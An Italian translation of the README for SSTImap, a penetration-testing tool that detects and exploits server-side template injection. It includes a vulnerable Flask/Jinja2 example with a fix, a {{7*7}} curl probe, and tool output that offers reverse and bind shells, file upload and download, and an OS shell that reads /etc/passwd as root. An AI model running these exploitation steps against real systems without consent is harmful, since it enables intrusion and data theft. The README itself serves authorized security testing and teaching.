SSTImap

Questo progetto è basato su Tplmap.

SSTImap è un software di penetration testing in grado di verificare la presenza di vulnerabilità di Code Injection e Server-Side Template Injection nei siti web e di sfruttarle, fornendo accesso al sistema operativo stesso.

Questo strumento è stato sviluppato per essere utilizzato come strumento interattivo di penetration testing per il rilevamento e lo sfruttamento di SSTI, consentendo uno sfruttamento più avanzato. Ulteriori payload per SSTImap sono disponibili qui.

I payload e le tecniche provengono da:

• Server-Side Template Injection: RCE For The Modern Web App di James Kettle 5
• Altre ricerche pubbliche [1] [2] [8]
• Contributi a Tplmap [3] [4]
• Ricerche personali [9]

Questo strumento è in grado di sfruttare alcuni casi di escape dal contesto del codice e scenari di iniezione cieca. Supporta inoltre iniezioni di codice simili a eval() in Java, JavaScript, PHP, Python, Ruby e motori di template generici non sandboxed.

Differenze principali rispetto a Tplmap

Anche se questo software è basato sul codice di Tplmap, non è garantita la compatibilità con le versioni precedenti.

• Aggiunte due nuove tecniche per il rilevamento e lo sfruttamento di SSTI
• Modalità interattiva (-i) che consente un rilevamento e uno sfruttamento più semplici
• Payload di valutazione semplici come marcatori di risposta in caso di riflessione del payload
• Aggiunti nuovi payload per template generici, per testare tutti i contesti usare --generic
• Rilevamento generico di iniezione di template tramite valutazione con il modulo Eval_generic
• Esecuzione di shell (eval()-like) nel linguaggio base (-x) o di singolo comando (-X)
• L'upload di file cieco ora supporta la conferma MD5 e il controllo dell'esistenza del file
• Aggiunti nuovi payload per più template e aggiornati molti payload esistenti
• Struttura modulare dei plugin che consente l'installazione di plugin aggiuntivi
• Supporto per diversi tipi di dati POST
• Aggiunti crawling e rilevamento dei form
• Aggiunte versioni brevi a molti argomenti
• Alcuni vecchi argomenti della riga di comando sono stati modificati, consultare -h per l'aiuto
• Il codice è stato modificato per utilizzare funzionalità più recenti di Python
• L'estensione per Burp Suite è stata temporaneamente rimossa, poiché Jython non supporta Python3

Server-Side Template Injection

Questo è un esempio di un semplice sito web scritto in Python utilizzando il framework Flask e il motore di template Jinja2. Integra la variabile name fornita dall'utente in modo non sicuro, poiché viene concatenata alla stringa del template prima del rendering.

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Non solo questo modo di utilizzare i template crea una vulnerabilità XSS, ma consente anche all'attaccante di iniettare codice di template, che verrà eseguito sul server, portando a SSTI.

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

L'input fornito dall'utente dovrebbe essere introdotto in modo sicuro tramite il contesto di rendering:

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Modalità predeterminata

SSTImap in modalità predeterminata è molto simile a Tplmap. È in grado di rilevare e sfruttare vulnerabilità SSTI in diversi template differenti.

Dopo lo sfruttamento, SSTImap può fornire accesso alla valutazione del codice, all'esecuzione di comandi del sistema operativo e alla manipolazione del file system.

Per controllare l'URL, è possibile utilizzare l'argomento -u:

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

Utilizzare l'opzione --os-shell per avviare un pseudo-terminale sul target.

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Per ottenere un elenco completo delle opzioni, utilizzare l'argomento --help.

Modalità interattiva

In modalità interattiva, i comandi vengono utilizzati per interagire con SSTImap. Per entrare in modalità interattiva, è possibile utilizzare l'argomento -i. Tutti gli altri argomenti, ad eccezione di quelli relativi ai payload di sfruttamento, verranno utilizzati come valori iniziali per le impostazioni.

Alcuni comandi vengono utilizzati per modificare le impostazioni tra le esecuzioni dei test. Per eseguire un test, l'URL del target deve essere fornito tramite l'argomento iniziale -u o il comando url. Successivamente, è possibile utilizzare il comando run per verificare la presenza di SSTI nell'URL.

Se viene trovata una SSTI, è possibile utilizzare i comandi per avviare lo sfruttamento. È possibile ottenere le stesse capacità di sfruttamento della modalità predeterminata, ma è possibile utilizzare Ctrl+C per interromperle senza fermare il programma.

Tra l'altro, i risultati dei test sono validi finché l'URL del target non viene modificato, quindi è possibile passare facilmente da un metodo di sfruttamento all'altro senza eseguire ogni volta il test di rilevamento.

Per ottenere un elenco completo dei comandi interattivi, utilizzare il comando help in modalità interattiva.

Motori di template supportati

SSTImap supporta più motori di template e iniezioni simili a eval().

I nuovi payload sono benvenuti nelle PR. Consultare i suggerimenti per accelerare lo sviluppo.

Tecniche: (R)endering, (E)rror-based, (B)oolean error-based blind e (T)ime-based blind; La lettera minuscola indica una tecnica parzialmente supportata

Ulteriori plugin e payload sono disponibili nel repository SSTImap Extra Plugins.

Plugin Burp Suite

Attualmente, Burp Suite funziona solo con Jython come modo per eseguire python2. La funzionalità Python3 non è fornita.

Piani futuri

Se hai intenzione di contribuire con qualcosa di importante da questo elenco, informami per evitare di lavorare sulla stessa cosa di me o di altri contributori.

• Aggiungere più payload per diversi motori
• Rendere i plugin meno dipendenti dai plugin di base
• Analizzare richieste HTTP grezze da file
• Funzionalità di dump delle variabili
• Estrazione di valori cieca/side-channel
• Documentazione migliore (o almeno una documentazione)
• Argomenti brevi come comandi interattivi?
• Modalità API JSONL/plaintext per integrazioni di scripting?
• Migliore integrazione per script Python
• Supporto del tipo di dati POST multipart
• Moduli per richieste più personalizzabili (second order, reset, non-HTTP)
• Script di elaborazione dei payload
• Migliore funzionalità di configurazione
• Salvataggio delle vulnerabilità trovate
• Report in HTML o altro formato
• Valutazione del linguaggio multilinea?
• Evitare la dipendenza dalla piattaforma nei payload
• Testare più shell negli scenari RCE basati su exec
• Aggiornare i payload NodeJS poiché process.mainModule potrebbe essere undefined
• Automazione spider/crawler (di fantesykikachu)
• Importazione automatica di linguaggi e motori
• Supporto di più tipi di dati POST
• Rendere più uniforme la funzionalità di valutazione di template e linguaggio base
• Argomento per rimuovere i codici di escape?